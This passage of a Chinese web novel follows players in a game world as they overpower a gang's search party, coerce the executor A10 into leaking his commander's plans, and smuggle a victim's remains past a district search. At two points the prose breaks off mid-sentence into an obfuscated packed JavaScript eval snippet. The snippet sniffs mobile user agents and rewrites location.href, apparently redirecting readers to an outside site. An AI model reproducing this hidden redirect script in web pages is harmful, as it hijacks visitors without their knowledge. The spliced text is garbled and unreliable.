江意上前拦住退路,微微偏头:“进去啊,我没说不同意。” 屠宰场众人面面相觑,A10骑虎难下,只能哆嗦着挥手:“分、分组搜查!18楼玩家初与序和景明垂家,17楼查剩下三个男生的!” 十分钟后。 “报告,1801和1802没有异常。” “1701、1703也干净,但1702私藏的草莓牛奶要带走吗……” 随歌猛地冲进屋:“这个不行!” “……” 屠宰场的人翻箱倒柜却一无所获,1802的冰箱空空如也,1801连根头发都没有。17楼三个男人的住处更是干净,哦,除了1802随歌私吞的好几箱草莓牛奶和从S23那里顺来的零食。 初与序靠在墙边,冷冷地看着他们翻箱倒柜。康安的残肢早被转移到向枝冥家,这些人注定一无所获。 A10额头渗汗,挤出一个难看的笑:“查、查完了,打扰了……” 他刚要带人撤退,冬逢初突然抬手,按住电梯按钮,门“唰”地闭合。而剩下五人上前几步,将屠宰场几人包围起来。 “你们查完了。”江意轻轻笑了一下,“现在到我们了。” A10的冷汗瞬间浸透后背制服:“什、什么?” 他话音刚落,楼梯间传来急促的脚步声,向枝冥和安楚冲上来找随歌算账,D19也跟在后面。他朝江意笑了笑:“半个小时。” “够了。”江意点头。 “刚好刚好!”随歌一看到向枝冥和安楚就乐了,顺手抄起走廊的灭火器,“先别急着找我算账,一起来自由搏击!” 冬逢初已经一脚踹翻最近的屠宰场成员,景明垂反手扯下窗帘“唰”地遮住走廊窗户,遮住外界的视线。 “别用武器,系统可以检测到。”江意提醒,同时拽住A10的后领,“初与序,借一下你家。” 初与序正把一个壮汉的脑袋按在墙上,头也不回:“好的。” 江意拖着面如死灰的A10进了1802,“咔嗒”一声反锁了门。 走廊立刻化作修罗场。向枝冥踹得人嗷嗷直叫,安楚笑吟吟用符纸把人黏在墙上,随歌抡着灭火器当棒球棍,白闽甚至有空把被打飞的眼睛踢回给某个屠宰场成员:“接着!” D19蹲在一边看热闹,还顺手用屏蔽器干扰了楼下路过的某个执行官。 162.A10泄密 1802,暖黄的灯光下,江意坐在沙发上,长腿交叠,手指搭在膝头。明明是他坐着仰视站立的A10,却让年轻的执行官有种被俯视的错觉。 “坐。”江意指了指对面的椅子,声音平静。 A108咽了咽口水,腿已经站得发麻,但僵着没动:“你、你要说什么?” 江意没强求他坐下,只是盯着A10看了一会,忽然开口:“我知道你背着系统养了一只猫。”他抬眸,“银渐层,三岁,叫团子。” A10瞳孔猛地缩小,脸色瞬间惨白。他后退一步:“你怎么知道……你跟踪我?!” “是A12派你来了?”江意没有继续刚才的话题,问得轻描淡写。 A10死死咬出嘴唇,手指握拳,指甲掐进掌心。即使他知道江意早就看透一切,根本瞒不过他,却也不愿意亲口承认。 江意也不急,慢条斯理地打开电脑,键盘的敲击声在寂静的1802内像催命的鼓点。过了一会,他停下敲键盘,将电脑屏幕转向A10,密密麻麻的档案浮现: 【A10违规记录】 「篡改武器库出入记录,贩□□给玩家(3次)」 「向屠宰场泄露副本情报(7次)」 「私自挪用系统能量换取食物,投喂流浪猫(19次)」 …… 里面写满了A10这些年来窃取同僚功劳、私通玩家倒卖副本情报、篡改系统记录等等一系列违规事件,单拎出来一条就够A10喝上一壶。 “这些事,”江意点了点屏幕,“A12知道多少?”他微微歪头,“如果他发现,自己最忠诚的下属其实一直在中饱私囊,你觉得他会保你,还是甩锅给你?” A10的呼吸明显急促起来,他声音发颤:“你到底想怎样?!” “别紧张,我是想帮你。”江意合上电脑,直视A10的眼睛,“你知道A12最近在别离山做了什么吗?” “别离山的监控删得很干净。”他淡淡道,“但A12最近删除的,可不只是康安的死亡记录,还有三次从别离山绕到执行官宿舍的轨迹。你猜,他去找谁灭口?” A10也不傻,江意差不多已经明说出来了。A12删除这么多监控,是因为他要灭口的,不是康安,还有所有知情的执行官,包括A10。 他抬起头,眼底闪过一丝慌乱。 此刻,屋内走廊,向枝冥一个利落的过肩摔把一个屠宰场成员撂倒在地。随后一屁股坐在D19旁边:“打累了,歇会儿。” D19转头看他:“你倒挺会打架的,以前练过?” “没,但打多了就会了。不过屠宰场这群人肉沙包打起来手感真差。”向枝冥说着,从口袋里摸出烟盒,熟练地抖出一根。 烟刚叼到嘴边,初与序正巧从旁边经过,眼疾手快地抽走两根,动作快得D19都没反应过来。 “哎你……”向枝冥刚要抗议,就见初与序若无其事地把烟藏进自己口袋,还朝他使了个眼色。 向枝冥顺着她的目光看去,景明垂正站在不远处,扎着的双马尾在打斗中微微散乱。他移回目光,又听初与序说:“瞒着景明垂拿的,我劝你也藏好,上次她把冬逢初的也收走了。” “……”向枝冥无奈地点点头,又打算点上自己那根烟的火,却被初与序拦住:“去吸烟室,走廊人多。” 向枝冥明白过来,立刻把烟盒塞回口袋:“一会去吸烟室抽。”说完,还心虚地瞄了眼景明垂的方向。 1802内,江意重新靠回沙发:“我们可以给你一条活路,但你要想清楚,站哪边。” 漫长的沉静后,最终,A10哑着嗓子开口:“……A12长官可能会甩锅给我,但他实实在在救过我,也不止一次帮过我。”他缓缓抬起头,颤抖地按住自己胸前的执行官银牌,“你们可以随便处置我,但我不会背叛他。” 江意勾起唇角:“A10,合作和背叛,并不冲突。” A10皱起眉,抬头看着江意:“……你什么意思?” 江意静静地看了他几秒,忽然轻笑一声,站起身,走到A10面前。他比A10高出半个头,投下的阴影将对方笼罩。 “我不需要你现在回答。”他轻轻拨开A10放在执行官银牌上的手,“我会给你足够的时间考虑,直到A12把你出卖。” 他忽然俯身,凑近A10,薄唇贴近对方的耳畔: “你的猫很可爱,祝它一直好好的。” A10如坠冰窟,他猛地推开江意,脸色煞白:“你把我的团子怎么了?!” 江意表情不变,微笑道:“我没有干什么,只是请人照顾了它一下。” “你……”A10声音发抖,转身就推开大门往外冲,满脑子只剩自己的猫。 走廊上,屠宰场的人横七竖八倒了一地,鼻青脸肿地哼哼唧唧。初与序揉了揉手腕上的擦伤,白闽正笑嘻嘻地给一个昏迷的倒霉蛋画胡子。 A10冲出来时,白闽抬头瞥了一眼,挑眉看向慢悠悠跟出来的江意:“闺蜜啊,你把人家执行官咋了?” 江意耸耸肩:“没怎么。”他扫了眼地上呻吟的屠宰场成员,语气平淡,“你们可以走了。” 那群人互相搀扶着爬起来,其中一个满脸淤青的玩家狠狠地瞪了初与序一眼,突然从口袋里掏出一封信,“啪”地拍在她手上。然后像是生怕她追过来,头也不回地冲向楼梯间。 随歌探头看了眼楼梯:“这可是十八楼,他跑下去腿得废。” 初与序撕开信封,里面是张皱巴巴的纸,写满了“畜生”、“必死无疑”之类的辱骂,末尾还画了个血淋淋的砍刀图案。全篇都是不堪入目的脏话和威胁,但根本没提康安的事,显然不能作为证据。 “恐吓信?”白闽凑过来看了一眼,嗤笑出声,“连个指纹都没有,怂包。” “无聊。”初与序随手把信揉成一团,精准投进垃圾桶。 就在初与序看信的时候,管理员宿舍,A10几乎是撞开门的,胸口剧烈起伏,额前的碎发都被冷汗浸湿。他的视线环视整个房间,最后落在房间中央。 C13和S23正蹲在地毯上,围着一团毛茸茸的银渐层。S23手里举着根猫条,一脸挫败:“嘬嘬嘬……不对啊C13,你说它怎么不亲我呢?” C13无奈:“呃,可能是你把它当狗了。” “你们干什么?!”A10一个箭步冲过去,抄起猫护在怀里,警惕地后退两步。 “什么干什么?”S23不服气地站起来:“好心当作驴肝肺,人意哥让我们帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890464|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你照顾你家团子呢!给它喂成球了都。” A10一愣,低头检查怀里的猫。团子懒洋洋地“喵”了一声,肚皮圆滚滚的,毛上还沾着点猫娘碎屑,显然被喂得心满意足。 “既然你回来了,那我们就先走了。”C13将自己的小辫子拨到脑后,走到门口又回头,“对了,意哥买了点猫粮,放你柜子里了。” 门关上后,A10慢慢滑坐在地,团子从他怀里挣脱,欢快地扑向新拆封的猫罐头。 “咚咚咚。”宿舍门被敲响,一位执行官探头进来,“A10,开会了。” A10张了张嘴,重新站起身,来到处罚区大厦的会议室。 A12坐在长桌尽头,手指缓慢地敲击着桌面。会议室里鸦雀无声,所有执行官都低着头,不敢与他对视。而A10坐在角落里,想着心事。 A12突然锁定他:“A10,中午的搜查结果?” “啊……”A10立刻站起身,咽了咽口水,声音却平稳,“玩家初与序他们应该已经把康安的残肢转移了位置,我们没有找到任何东西。” A12眯起眼,似乎在判断他话里的真假,最终只是冷冷地“嗯”了一声,转头继续道:“明天,借着系统例行检查的机会,把整个D区翻一遍,还有所有和他们队伍熟悉的玩家家里。” A10坐回座位,掌心里全是冷汗。 会议很快结束,他刚起身要走,A12的声音从背后传来:“A10,留下。” A10脚步一顿,心跳漏了一拍。没办法,他缓缓转身,低头站定:“是,长官。” A12坐在长桌尽头,审视着他,房间里只剩下他们两人,安静得可怕。终于,A12指了指对面的椅子:“坐吧。” “是。”A10谨慎地坐下,双手平放在膝盖上,努力控制着心跳。 “你最近表现得不错。”A12突然开口,说的话是A10意料不到的。A10猛地抬头看她,眼底全是错愕。 “别紧张。”A12的嘴角扯出一个罕见的、近乎温和的弧度,“在一众执行官里,你做事最稳妥,也最让我放心。” A10的喉咙发紧,低声道,“谢谢长官。” “康安的事,你处理得很干净。”A12的声音里带着几分赞许,“虽然今天没找到他的头和右手,但我不怪你。初与序那几个人,确实不好对付。” “我需要你继续调查,蹲守在D栋楼下,监视着他们的一举一动。” A10点点头:“好的,我会的。” A12站起身,拍了拍A10的肩膀:“我很看重你,A10。别让我失望。”说完,他转身离开。 会议室的门关上后,A10才缓缓吐出一口气。 他独自站在处理区大厦后门,永冬之城的寒风刀子刮过脸颊。随后颤抖着手打开自己面板,手指悬在【江意】的通讯界面上,迟迟没有落下。 A12的“看重”是真是假,他并不知道,但现在已经不重要了。此刻,A10比任何人都要清楚,自己已经站在了悬崖边缘,随时会死。 最终,他还是发出一条简短的信息: 【明天A12行动。】 发完这条消息,他立刻关闭面板,转身走进风中,似乎再多看一眼就会后悔。 163.带出人民碎片 D区吸烟室内,向枝冥叼着烟,懒散地靠在单人沙发上,压低声音: “知道不?永冬之城暗网(这几个字用口型说的)刚爆了个猛料。”他弹了弹烟灰,“你们之前进入的《死亡电梯》副本里那栋大楼,现实中是屠宰场首领和原二把手建的。” 冬逢初靠在长沙发上,手臂随意搭在靠背上。初与序倚在他身边:“难怪上次在副本里,追杀我们的原二把手对地形很熟悉。” “我记得他们在那栋大厦开了一家公司。”向枝冥想了想,“叫什么……‘新星未来’教育集团,好像是一个高端留学机构?不过我觉得那什么机构肯定骗人钱。” “……” 听到熟悉的名字,初与序和冬逢初对视一眼。冬逢初淡淡道:“巧了,随歌之前提过这家公司,并不是什么留学机构,里面的人干了很多非法的事情。” “我就知道那里不是什么好地方。”向枝冥翻了个白眼,烦躁道,“不止有《死亡电梯》,永冬之城的一小部分副本也是和现实挂钩的,包括玩家和玩家之间。” 冬逢初道:“说来听听。” 向枝冥抬眼:“比如系统每年拉新人玩家的规则,是先在现实世界锁定一个‘不幸的人’,再从他所在地附近拽另一个‘不幸的人’进来,一环扣一环。比如五年前北京的意哥和随歌,四年前安徽的我和…安楚,以及今年的你们俩和景明垂。” 同一个地方?可景明垂是江苏的,自己与冬逢初是安徽人。 初与序正要继续问话。吸烟室的门突然被推开。 江意面无表情站在门口,面板打开,上面显示着A10发来的消息。 三人愣住,初与序一个弹射起步冲过去:“意哥?你怎么进来了?这里是吸烟室。” “只待几秒,不会影响的。”江意后退两步,目光又落在她手里的烟上,凉凉道,“景明垂不是不让你吸烟吗?” 初与序动作一顿,叹了口气,转身把烟头摁灭在烟灰缸里。 冬逢初也掐灭烟头,顺手把初与序的大衣递给她。等江意打开临时系统监听屏蔽器,他才开口询问:“A10的消息?” “是的。”江意点头,把面板转向他们,“明早A12要全面搜查D区,包括所有和我们有关人的住处,你们提前准备一下。” 冬逢初打开面板,调出明天的副本安排,看了一眼:“下一个副本是明天上午九点,队友正好是我们三个。” 向枝冥探头看了一眼:“副本信息呢?” “让D19屏蔽了,怕屠宰场的人看到跟进来,目前我们也看不见。”冬逢初顿了顿,又皱起眉,“但A12的搜查时间也是九点左右,我们只有很短的时间转移康安的头和手。” “所以我们要在A12眼皮底下,拎着人头和断手跑路?”向枝冥不可置信地抓了抓头发,“u谷说的没错,和你们队一起合作准没好事。” 他话刚说完,四人就听见外面隐约传来景明垂的声音:“初与序在这里吗?” 初与序浑身一僵,压低声音:“康安的头和手还在向枝冥家,明天找人在801拖住搜查队,景明垂从阳台把袋子扔下来,我们在楼下接。” 说完,她立刻来到后屋,推开后窗,寒风呼啸而入,吹散了些许烟味。她翻身跃上窗台,一条腿已经跨出窗外:“别和景明垂说在吸烟室见过我。” 冬逢初喊住她:“我做了晚饭放我家冰箱,你的通行卡可以直接进屋。” “知道了!” 初与序翻身跃出,身影消失在夜色中,留下江意、冬逢初和向枝冥面面相觑。没等他们彻底反应过来,门被景明垂推开:“看到初与序了吗?” 三人齐刷刷摇头:“没看见。” 景明垂:“……看到她和我说。” 三人对视一眼,乖巧点头。 次日早上八点二十,永冬之城论坛突然炸开: 【紧急通知:D区及周边区域即刻起进入全面搜查状态,所有玩家请配合执行官工作。】 整座永冬之城立刻沸腾,D区主街道上,A12带着数十名A编号执行官列队逼近,黑色制服在刺骨寒风中翻飞。他们迅速分散,封锁了D区的每一条通道,甚至连附近的C区和B区都被围得水泄不通。 路过的玩家们惊愕地停下脚步,有人迅速低头避开视线,有人小声议论起来: “我操,A12?” “出什么事了?D区玩家又犯事了?还是之前康安的失踪案有结果了?” “暗网刚更新了!说是搜查违禁物品。” A12面无表情地站在D栋楼下,抬头望向十八楼的窗户,冷声下令:“搜。” 急促的敲门声…应该是砸门声响起,随歌打着哈欠拉开1802的门,揉了揉黄发:“你们执行官大早上的,打鬼呢?” A12身后的执行官一时间愣住,这里不是初与序家吗? “例行检查。”A12冷冷地扫了他一眼,“论坛上系统通知过了,必须配合。” 江意从1801走出来,语气平静:“搜查令呢?” A12冷笑一声,调出系统面板:“系统授权,全程搜查。” “早上好。”安楚靠在门框上,笑眯眯地插话,“你们这么大阵仗,是丢了金子还是跑了队友?” A12懒得理会他的挑衅,直接问:“1801和1802是景明垂和初与序的家,她们人呢?” “初与序?”随歌装作一脸茫然,“她不是和冬逢初私奔了吗?”说着他又看了看江意,像是在确认自己说的是不是真的,“还有景明垂,她昨晚去B区找白闽了。或许迷路了,需要你们执行官帮忙找找?” “说梦话呢?”A12眯起眼,显然不信,直接挥手示意手下,“把整个D栋都搜一遍,尤其是十八楼和八楼!” 就在几个执行官正要往八楼冲时,随歌一个箭步挡在楼梯口,笑容灿烂:“哎呀呀几位执行官大哥别急啊!我有个重要的问题!” “你们搜查的时候……会不会顺便帮忙修水管?” 执行官:“……什么?” “我家浴室水管漏水啊!就1702!”随歌痛心疾首地比划,“哎哟喂!哗啦啦的,都能养鱼了!你们执行官不是万能的吗?顺手修一下呗?” 执行官气得大骂:“我们是来搜查的,不是来当维修工的!” “诸位,稍安勿躁。”安楚往电梯口一靠,温和地笑道,“贫道刚才算了一卦,今日辰时,忌搜查,宜喝茶。” 执行官们集体沉默。 而就在三人胡编乱造试图拖延时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890465|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间时,D栋后方,初与序蹲在灌木丛后,冬逢初和向枝冥一左一右守着。 801卧室的窗帘微微晃动,一根琴弦垂下,末端系着一个鼓鼓囊囊的黑袋子。初与序抬头,看见景明垂的身影站在窗边,手指轻拨,控制着琴弦缓缓下降。 向枝冥伸手接住袋子,朝景明垂比了个手势,随后拉开袋子检查,康安的头和手完好无损。 “撤。”初与序简短道。 而十八楼,A12站在走廊中央,看着被随歌和安楚搅得鸡飞狗跳的手下,忍无可忍地吼道:“别管这两人了行不行!把他们带到处罚区审问,其他人直接去八楼!” D19和C13匆匆赶来,C13从口袋里掏出一个仅有掌心大小的黑盒子,表面刻着勿忘我花朵的纹路。 “压缩空间盒,我偷J23的,能装下任何东西。”C13低声解释,打开盒盖。 向枝冥将装着康安残肢的黑袋子小心翼翼地塞了进去,袋子在接触盒口的下一秒,像被无形的力量压缩,眨眼间消失不见。 “好东西啊。”向枝冥把盒子塞进自己口袋,拍了拍,“谢了,小心别让J23知道,否则她灭了你。” “那当然。”C13左右瞥了几眼,生怕J23突然出现在这里。 D19压低声音:“D区后门有个检修通道,但出口有执行官守着。”说着,他整理了一下胸前的执行官银牌,走向后门的守卫,“我去引开他们,你们跟着C13走。” C13用草丛遮住自己,压低声音:“你们太显眼了。”他看了看三人的装扮,开口道,“初与序和冬逢初把耳骨夹摘了,还有向枝冥的眉钉,你那玩意儿被阳光一照,哗啦哗啦闪的,能瞎了屠宰场的狗眼。” 初与序和冬逢初没有犹豫,同时摘下耳骨夹,揣进口袋里。向枝冥啧了一声,抬手摘掉眉钉:“我之前好不容易戳的诶,永冬之城这鬼天气,我都怕钉孔结冰。” 众所周知,向枝冥的眉钉孔是他不知道为什么,自己用针还是啥玩意戳的。初与序和冬逢初看了一眼他的钉子,有些心惊胆战地移开目光。 “跟我走。”C13对三人招招手。 四人贴着墙根移动,放轻每一步,尽量避免在雪地上留下明显的脚印。C13走在前面,带着三人绕开四周的执行官,朝着检修口的方向前进。 就在即将抵达检修口时,冬逢初忽然停下脚步:“A10?” 三人顺着他的视线望去,看见A10独自站在拐角的路灯下。灯光是惨淡的蓝色,他手指悬在执行官通讯器上,却始终没有点下。 最终,他垂下眼,将双手插进口袋里,面无表情转身,走进相反方向的雪地里。 C13松了口气,迅速推开检修口的盖子:“快走,往前就是车站,列车已经在那里了。” 初与序和冬逢初已经走远,向枝冥吊儿郎当还打算跟C13聊几句,被冬逢初拽着后领往外拖,还不忘回头冲C13嬉皮笑脸:“小朋友,下次还有这种‘借’来的好东西,记得再找我们啊!” “小点声!要是J23问起来,你们咬死没见过这盒子!”C13顿了顿,压低声音,“还有什么小朋友……我已经13岁了……” “保证不告诉J23!”向枝冥留下一句话,飞速跟上另外两人。